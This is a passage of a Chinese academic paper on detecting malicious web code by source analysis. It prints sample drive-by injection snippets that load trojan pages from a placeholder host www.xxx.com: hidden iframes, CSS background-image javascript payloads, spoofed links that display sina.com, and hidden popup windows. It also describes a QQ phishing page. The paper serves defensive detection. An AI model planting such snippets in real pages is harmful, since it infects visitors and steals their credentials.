当前位置:主页>科 研>学术交流>

基于源代码分析的Web恶意代码探测方法(3)

还可以根据情况识别下面的代码是否存在恶意指向木马网站的代码:
<div style="behaviour: url(http://www.xxx.com /木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">
通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意代码的JS挂马文件,因此可以从 这里入手进行识别。提取一切Src请求的异地外域的JS脚本,识别恶意代码。
3.2.3  图片伪装挂马
随着防毒技术的发展,黑客手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似: http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只 需输入相关的选项就可以了,如图3。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:
<html>
<iframe src="http://www.xxx.com/test.htm" height=0 width=0></iframe>
<img src="http://www.xxx.com/test.jpg"></center>
</html>
当用户打开http://www.xxx.com/test.htm时,显示给用户的是http://www.xxx.com/test.jpg,而http://www.xxx.com/ test.htm网页代码也随之运行。
3.2.4 网络诱惑挂马
    网络中最常见的欺骗手段,利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,引诱点击,当用户打开一个 看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了 一个获取QQ币的页面,引诱输入QQ号和密码,等用户输入完提交后,就把这些信息发送到攻击者指定的地方。这种挂马可以通过识别信息传输的地址来识别是否为官方合法。这种方法很难通过源码来识别此页面是否为木马,需要用户自行判断进行配合。
3.2.5 伪装挂马
    黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com等用户信任地址,其实却打开了被挂马的页面,从而实现欺骗,示例代码如:
<p><a id="qipian" href=" http://www.xxx.com "></a></p>
<div>
<a href="http:// www.sina.com" target="_blank">
<caption>
<label for="qipian">
<u style="cursor;pointer;color;blue">
www.sina.com
</u>
</label>
</caption>
</table>
</a>
</div>
上面的代码的效果,在貌似http:// www.sina.com的链接点击却打开了http://www.xxx.com。
3.2.6  伪装调用
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="http://www.xxx.com" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
3.2.7  诱惑欺骗
    这种欺骗,通常利用热点新闻,或者人们感兴趣的花边消息,源码示例如下:
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url=" http://www.xxx.com";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
    这种欺骗手段,同样可以寻找真实的地址来识别。
3.2.8 高级CSS挂马
    “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合JavaScript的代码将网页木马悄悄的在用户的电脑中运行,源码示例如下:
Body{
background-image: url('javascript:document.write("<Iframe src= http://www.xxx.com /muma.htm width=0 height=0></iframe>")')
}    
    针对这段代码,可以根据调用的CSS文件。找到挂马网页中调用CSS的代码:
<link type="text/css" rel="stylesheet" href="http://www.xxx.com/ /css/basic.css" media="screen" />
找到该段代码后,即可识别出真正的木马地址。
3.2.9 隐蔽css挂马
    在3.2.8中的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过这段代码,使用了 JavaScript的Open开窗,通过新开打开一个隐藏的窗口,在后台悄悄的运行新窗口并激活访问网页溢出木马页面,不会影响访问者的观看网页内容,因此更加隐蔽,示例如下:
    Body{
background-image: url(javascript:open(' http://www.xxx.com /muma.htm ','newwindow','height=0,width=0,top=1000,left=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no'))
}

4  结论

    根据上面的分析,针对源码的敏感位置进行分析匹配,识别可能出现的网页中的木马原代码和转移语句。目前很少有黑客将木马原代码直接写在网页上,因为这样很容易被发现。绝大多数都是通过转移语句,将网民转移到木马网站中,或者远程调用木马网站中的木马文件,从而实现将木马植入用户计算机,达到黑客的目的。因此,识别转移语句和远程调用既可以识别出可疑点,在进一步追查即可识别出木马的真正匿身之地了。

参考文献

    [1]http://www.hacker.cn/News/aqxw/2009-4-30/ 094301034AEGK.shtml
    [2]王德强. 恶意代码设计和分析技术的研究与实现[D];  清华大学; 2005年
    收稿日期:11 月 5 日   修改日期:11 月 9 日
    作者简介:Ю. И. ВОРОТНИЦКИЙ(1961-),白俄罗斯国立大学信息中心主任,副教授,主要研究领域为网络安全;谢金宝(1980-),男,哈尔滨人,博士研究生,讲师,主要研究领域为网络安全,信息安全。

(责任编辑:adminadmin2008)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

容器是如何让“一切都是代码”成为现实的

容器是如何让“一切都是代码”成为现实的

现代应用的发展在很大程度上要归功于DevOps运动的蓬勃兴起以及该运动所产生的各种自动...[详细]

如何快速掌握一门新技术/语言/框架

如何快速掌握一门新技术/语言/框架

IT行业中的企业特点是都属于知识密集型企业。这种企业的核心竞争力与员工的知识和技能...[详细]

建高效数据中心有径可循

建高效数据中心有径可循

能耗问题一直是各大数据中心的心头之痛。有数据表明,2015年我国数据中心能耗预计将高...[详细]

2015黑帽大会:网络灾难后 重建IT安全

2015黑帽大会:网络灾难后 重建IT安全

在遭遇网络灾难后重建IT安全似乎是不可能完成的任务,但根据安全专家Christina Kubeck...[详细]

面对DNS劫持 企业移动应用该如何防护?

面对DNS劫持 企业移动应用该如何防护?

DNS(Domain Name System)劫持又称域名劫持,是指对正常的域名解析请求加以拦截,转而...[详细]

返回首页 返回顶部